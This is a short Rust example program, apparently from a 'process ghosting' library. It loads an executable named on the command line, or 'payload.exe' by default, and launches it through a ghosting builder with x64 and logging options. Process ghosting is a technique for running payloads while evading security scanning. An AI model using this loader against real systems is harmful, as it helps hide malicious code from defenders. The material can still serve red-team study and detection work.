1use process_ghosting::{GhostingBuilder, init};
5use std::env;
6
7fn main() {
8 init();
9
10 println!("[*] From File Example\n");
11
12 let args: Vec<String> = env::args().collect();
14 let file_path = if args.len() > 1 {
15 &args[1]
16 } else {
17 "payload.exe"
18 };
19
20 println!("[*] Loading payload from: {}", file_path);
21
22 match GhostingBuilder::from_file(file_path) {
24 Ok(builder) => {
25 let result = builder
26 .x64()
27 .with_logging()
28 .execute();
29
30 match result {
31 Ok(_) => println!("\n[+] Success!"),
32 Err(e) => eprintln!("\n[-] Failed: {}", e),
33 }
34 }
35 Err(e) => {
36 eprintln!("[-] Failed to load file: {}", e);
37 }
38 }
39}